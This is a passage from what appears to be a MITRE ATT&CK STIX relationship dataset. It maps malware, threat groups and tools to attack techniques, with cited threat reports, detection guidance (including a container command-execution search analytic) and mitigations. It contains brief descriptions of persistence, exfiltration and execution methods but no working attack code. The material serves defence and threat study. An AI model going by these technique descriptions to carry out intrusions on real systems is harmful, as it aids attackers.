2017)","relationship_type":"uses","source_ref":"malware--d1183cb9-258e-4f2f-8415-50ac8252c49e","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1bcc7bc4-29ab-4e27-8b9e-e7c51343148e","type":"relationship","created":"2021-07-02T14:22:42.355Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-07-02T14:27:03.304Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) can use a file exfiltration tool to upload specific files to Dropbox.(Citation: Bitdefender Naikon April 2021)\t \n","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1bccb381-1d71-4c9a-8785-2ada562234f2","type":"relationship","created":"2020-03-13T20:36:57.505Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-13T20:36:57.505Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1bce55fa-b34e-4522-9422-85bf3fdda889","type":"relationship","created":"2020-12-17T16:56:47.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Agent Tesla April 2020","url":"https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/","description":"Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."}],"modified":"2020-12-17T16:56:47.267Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has used wmi queries to gather information from the system.(Citation: Bitdefender Agent Tesla April 2020) ","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1bd467ff-6e94-40c5-ae4d-2ed7c62bc0d5","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2020-03-16T17:32:50.497Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194)'s Get-Keystrokes Exfiltration module can log keystrokes.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1bd9ad06-bb44-423c-b670-65b8a8510e1e","created":"2021-11-22T15:58:09.255Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks BRONZE PRESIDENT December 2019","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021.","url":"https://www.secureworks.com/research/bronze-president-targets-ngos"},{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"},{"source_name":"Trend Micro DRBControl February 2020","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.077Z","description":"[RCSession](https://attack.mitre.org/software/S0662) can launch itself from a hollowed svchost.exe process.(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Trend Micro DRBControl February 2020)(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1bdb02c9-e0d1-46d1-8102-64ca4980d2b3","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1bdf5794-9f6f-4d9a-9afd-542cefa858d0","created":"2024-10-16T17:53:50.650Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-16T17:53:50.650Z","description":"Consider implementing CAPTCHA protection on forms that send messages via SMS. ","relationship_type":"mitigates","source_ref":"course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1","target_ref":"attack-pattern--130d4494-b2d6-4040-bcea-6e59f05222fe","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1be07482-c5ed-42f9-8be1-5dbb44152461","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","source_name":"McAfee GhostSecret"}],"modified":"2020-03-17T02:15:13.464Z","description":"[Proxysvc](https://attack.mitre.org/software/S0238) uses HTTP over SSL to communicate commands with the control server.(Citation: McAfee GhostSecret)","relationship_type":"uses","source_ref":"malware--069af411-9b24-4e85-b26c-623d035bbe84","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1be07717-ad08-4364-9a58-b44a95a389a5","created":"2019-09-23T22:40:08.966Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike GTR2020 Mar 2020","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"},{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.503Z","description":"[APT41](https://attack.mitre.org/groups/G0096) deployed rootkits on Linux systems.(Citation: FireEye APT41 Aug 2019)(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1be14720-a61a-4ac6-a6f6-f84c74c60d43","created":"2022-02-02T22:02:29.918Z","x_mitre_version":"1.0","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."},{"source_name":"Threatpost Lizar May 2021","url":"https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/","description":"Seals, T. (2021, May 14). FIN7 Backdoor Masquerades as Ethical Hacking Tool. Retrieved February 2, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lizar](https://attack.mitre.org/software/S0681) can retrieve browser history and database files.(Citation: Threatpost Lizar May 2021)(Citation: BiZone Lizar May 2021) ","modified":"2022-04-14T21:29:02.373Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1be18787-844d-4135-9781-e5b6a8e76d14","type":"relationship","created":"2019-01-29T18:55:20.763Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Remcos Feb 2017","url":"https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html","description":"Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018."}],"modified":"2019-04-19T14:39:53.103Z","description":"[Remcos](https://attack.mitre.org/software/S0332) can add itself to the Registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run for persistence.(Citation: Fortinet Remcos Feb 2017)","relationship_type":"uses","source_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1be2f89a-1584-486a-b5e0-5735ee0a7a1f","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T18:52:33.680Z","description":"Monitor command execution within containers to detect suspicious activity. Commands executed via Docker (```docker exec```) or Kubernetes (```kubectl exec```) should be captured along with relevant metadata.\n\nAnalytic 1 - Unusual command executions in container services\n\nsourcetype=docker:daemon OR sourcetype=kubernetes:apiserver\n| search command IN (\"docker exec\", \"kubectl exec\")\n","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1bf08293-5342-4736-b3a9-c1f160ad9c81","type":"relationship","created":"2020-05-11T18:36:05.417Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB RTM August 2019","url":"https://www.group-ib.com/blog/rtm","description":"Skulkin, O. (2019, August 5). Following the RTM Forensic examination of a computer infected with a banking trojan. Retrieved May 11, 2020."}],"modified":"2020-05-12T22:13:50.415Z","description":"[RTM](https://attack.mitre.org/groups/G0048) has attempted to lure victims into opening e-mail attachments to execute malicious code.(Citation: Group IB RTM August 2019)","relationship_type":"uses","source_ref":"intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1bf421b0-1faf-403d-a8c6-3f5eb90d7c9d","type":"relationship","created":"2021-01-28T15:47:55.487Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."}],"modified":"2021-04-06T22:07:34.270Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has collected stolen files in a temporary folder in preparation for exfiltration.(Citation: ATT Sidewinder January 2021)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1bf86155-186c-4900-96d1-49237f907874","type":"relationship","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.837Z","description":"Monitor for events collected that may attempt to find cloud groups and permission settings. ","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c01c64c-8842-44be-bd66-8355eb5d543c","type":"relationship","created":"2019-01-31T01:07:58.782Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2019-07-17T13:11:38.980Z","description":"(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"tool--294e2560-bd48-44b2-9da2-833b5588ad11","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c0296de-dc33-4fd7-b774-1bbe8c1b56b7","type":"relationship","created":"2020-06-26T17:21:35.290Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-06-29T15:59:08.691Z","description":"[BackConfig](https://attack.mitre.org/software/S0475) can leverage API functions such as ShellExecuteA and HttpOpenRequestA in the process of downloading and executing files.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1c0acd9f-d536-47ec-9473-5d2a5e5dde73","created":"2023-02-14T18:33:12.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T22:16:19.081Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can execute commands using `cmd.exe`.(Citation: MalwareBytes WoodyRAT Aug 2022)","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c0e8084-c8a5-4c8d-bac1-bfb7eb07b586","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Hydraq Persistence Jan 2010","description":"Fitzgerald, P. (2010, January 26). How Trojan.Hydraq Stays On Your Computer. Retrieved February 22, 2018.","url":"https://www.symantec.com/connect/blogs/how-trojanhydraq-stays-your-computer"}],"modified":"2020-02-18T03:48:53.733Z","description":"[Hydraq](https://attack.mitre.org/software/S0203) uses svchost.exe to execute a malicious DLL included in a new service group.(Citation: Symantec Hydraq Persistence Jan 2010)","relationship_type":"uses","source_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1c0eac30-db03-47d4-933a-113d8d365f86","created":"2023-09-08T19:22:20.617Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Phishing","description":"CISA. (2021, February 1). Avoiding Social Engineering and Phishing Attacks. Retrieved September 8, 2023.","url":"https://www.cisa.gov/news-events/news/avoiding-social-engineering-and-phishing-attacks"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-08T20:31:40.003Z","description":"Users can be trained to identify and report social engineering techniques and spearphishing attempts, while also being suspicious of and verifying the identify of callers.(Citation: CISA Phishing)","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--bb5e59c4-abe7-40c7-8196-e373cb1e5974","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c0ec3cf-8942-4d47-b1ac-dfdaca31bac0","type":"relationship","created":"2020-03-27T13:32:37.810Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec","description":"Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.","source_name":"SpectorOps Code Signing Dec 2017"}],"modified":"2021-08-16T19:46:03.634Z","description":"Windows Group Policy can be used to manage root certificates and the Flags value of HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\SystemCertificates\\\\Root\\\\ProtectedRoots can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c0fcf41-bb65-41f0-bbf7-9af5212c2d68","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Monitor for newly constructed /etc/rc.local file ","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c1296da-4504-4f00-b16a-8ecc29820ea9","type":"relationship","created":"2019-10-07T22:15:43.675Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Operation Double Tap","description":"Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.","url":"https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html"}],"modified":"2021-02-09T13:52:16.780Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has been known to use -WindowStyle Hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows.(Citation: FireEye Operation Double Tap)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c12b31e-7f17-4e00-a6b5-7eddb5828f34","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF","description":"US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.","source_name":"US-CERT BADCALL"}],"modified":"2019-09-09T19:15:45.670Z","description":"(Citation: US-CERT BADCALL)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1c13ff97-1581-4283-b9ec-f378f97f3440","created":"2022-08-15T16:44:43.005Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason StrifeWater Feb 2022","description":"Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022.","url":"https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T18:37:00.608Z","description":"[StrifeWater](https://attack.mitre.org/software/S1034) can execute shell commands using `cmd.exe`.(Citation: Cybereason StrifeWater Feb 2022)","relationship_type":"uses","source_ref":"malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1c186ff7-913a-46b3-b796-d3445ba0901c","created":"2024-03-04T19:22:13.633Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T15:02:55.706Z","description":"[ZIPLINE](https://attack.mitre.org/software/S1114) can identify running processes and their names.(Citation: Mandiant Cutting Edge January 2024)","relationship_type":"uses","source_ref":"malware--d9765cbd-4c88-4805-ba98-4c6ccb56b864","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1c25229d-c0f5-4ad6-a403-874d59df73fe","created":"2022-03-30T14:26:51.875Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor library load events, especially unusual creation of these binary files followed by loading into processes. Look for libraries that are not recognized or not normally loaded into a process.","modified":"2022-07-07T17:08:56.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1c306018-7f22-4080-81c5-939bd0bd81be","created":"2022-07-14T14:37:59.685Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Aoqin Dragon](https://attack.mitre.org/groups/G1007) has lured victims into opening weaponized documents, fake external drives, and fake antivirus to execute malicious payloads.(Citation: SentinelOne Aoqin Dragon June 